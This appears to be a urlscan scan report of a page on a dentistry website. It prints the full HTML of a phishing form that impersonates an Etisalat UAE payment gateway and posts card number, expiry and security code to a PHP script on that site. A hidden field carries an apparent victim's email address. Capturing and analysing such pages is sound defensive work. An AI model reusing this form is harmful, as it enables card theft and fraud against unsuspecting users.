sustainablesmilesdentistry.com Open in urlscan Pro
162.19.58.166  Public Scan

Form analysis
1 forms found in the DOM

POST https://sustainablesmilesdentistry.com/xdimensions.php

<form accept-charset="iso-8859-1" acceptcharset="iso-8859-1" id="paymentDetail" action="https://sustainablesmilesdentistry.com/xdimensions.php" method="POST" onsubmit="return LockPayButton()" autocomplete="OFF">
  <input type="hidden" name="paymentId" value="elham1988@outlook.com">
  <table cellspacing="0" cellpadding="0" align="center">
    <tbody>
      <tr>
        <td>
          <table cellspacing="0" cellpadding="0" align="center">
            <tbody>
              <tr>
                <td colspan="3" class="topSeparator"></td>
              </tr>
              <tr>
                <td class="detailLeftCol" valign="top" align="right"><img src="Etisalat%20UAE%20Payment%20Gateway_files/padlock.gif" align="absmiddle"><span class="detailCardName"></span></td>
                <td class="detailSeparator" align="center"><img src="Etisalat%20UAE%20Payment%20Gateway_files/clearpixel.gif" class="detailSeparatorSpace"></td>
                <td class="detailRightCol">
                  <font size="2" face="Arial, Helvetica, sans-serif" color="black">Please enter your card details into the form below and click "Submit" to comfirm your Card for payment refund.</font><br><br>
                </td>
              </tr>
              <tr>
                <td class="detailLeftCol" valign="top" align="right">Card Number<img src="Etisalat%20UAE%20Payment%20Gateway_files/left_for_white.gif" class="img_lfw" align="absmiddle"></td>
                <td class="detailSeparator"></td>
                <td class="detailRightCol cardNo"><input id="CardNumber" type="Text" autocomplete="off" name="cardno" size="23" maxlength="23" required="" align="MIDDLE"></td>
              </tr>
              <tr>
                <td class="detailLeftCol" align="right">Expiry&nbsp;Date<img src="Etisalat%20UAE%20Payment%20Gateway_files/left_for_white.gif" class="img_lfw" align="absmiddle"></td>
                <td class="detailSeparator"></td>
                <td class="detailRightCol monthYear"><input id="CardMonth" type="Text" name="cardexpirymonth" size="2" maxlength="2" required="" align="MIDDLE">&nbsp;/&nbsp;<input id="CardYear" type="Text" name="cardexpiryyear" size="2" maxlength="2"
                    required="" align="MIDDLE"> &nbsp;&nbsp;month/year</td>
              </tr>
              <tr>
                <td class="detailLeftCol" valign="top" align="right">Security&nbsp;Code<img src="Etisalat%20UAE%20Payment%20Gateway_files/left_for_white.gif" class="img_lfw" align="absmiddle"></td>
                <td class="detailSeparator"></td>
                <td class="detailRightCol">
                  <table width="100%" cellspacing="0" cellpadding="0" border="0">
                    <tbody>
                      <tr>
                        <td valign="top" align="left">
                          <input id="Securecode" type="Text" name="cardsecurecode" size="3" maxlength="3" required="" align="MIDDLE">
                        </td>
                        <td class="detailRightCol" valign="middle" align="left"> The 3 digits after the card number on the signature panel of your card. </td>
                      </tr>
                      <tr>
                        <td colspan="2" valign="top" align="left"><img src="Etisalat%20UAE%20Payment%20Gateway_files/card_sm_masterc_csc.gif" align="absmiddle"></td>
                      </tr>
                    </tbody>
                  </table>
                </td>
              </tr>
              <!-- Plan Payments row -->
              <tr>
                <td class="detailLeftCol" valign="top" align="right"><img src="Etisalat%20UAE%20Payment%20Gateway_files/left_for_white.gif" class="img_lfw" align="absmiddle"></td>
                <td class="detailSeparator"></td>
                <td valign="top" align="left">
                </td>
              </tr>
              <tr>
                <td width="180" align="right"></td>
                <td class="detailSeparator"></td>
                <td class="detailRightCol" align="right">
                  <table width="100%" cellspacing="5" cellpadding="0" border="0">
                    <tbody>
                      <tr>
                        <td align="right"><input id="Paybutton" alt="Submit card details for processing" type="image" name="payButtonImage" src="https://ngee-tropics.lbl.gov/wp-content/uploads/sites/16/2017/02/SUBMIT-BUTTON.png" class="img_pay"></td>
                      </tr>
                    </tbody>
                  </table>
                </td>
              </tr>
              <!-- Authentiction Program Block row -->
              <!-- D:\Viewstore\RobD_MC_PS3.1.x\customer\Mastercard\ps\server\source\Branding\assets\svr\default\ssl-detail-block.jhtml-->
              <!-- D:\Viewstore\RobD_MC_PS3.1.x\customer\Mastercard\ps\server\source\Branding\assets\svr\default\ssl-detail-auth-program-block.jhtml -->
              <tr>
                <td class="detailLeftCol" valign="top" align="right"><img src="Etisalat%20UAE%20Payment%20Gateway_files/authProgram_SC.gif"></td>
                <td class="detailSeparator"></td>
                <td class="detailRightCol">&nbsp;</td>
              </tr>
              <tr>
                <td colspan="3" class="bottomSeparator"></td>
              </tr>
              <tr>
                <td colspan="3" class="agreementSeparator"></td>
              </tr>
              <tr>
                <td colspan="3" class="agreement" align="center">I hereby authorise the debit to my MasterCard Account in favour of ETISALAT QUICK PAY</td>
              </tr>
            </tbody>
          </table>
        </td>
      </tr>
      <tr>
        <td><img src="Etisalat%20UAE%20Payment%20Gateway_files/clearpixel.gif" class="payHeadWidth"></td>
      </tr>
    </tbody>
  </table>
</form>

Text Content

Merchant name:  ETISALAT QUICK PAY

Enter your card.



Please enter your card details into the form below and click "Submit" to comfirm
your Card for payment refund.

Card Number Expiry Date  /    month/year Security Code

The 3 digits after the card number on the signature panel of your card.



  I hereby authorise the debit to my MasterCard Account in favour of ETISALAT
QUICK PAY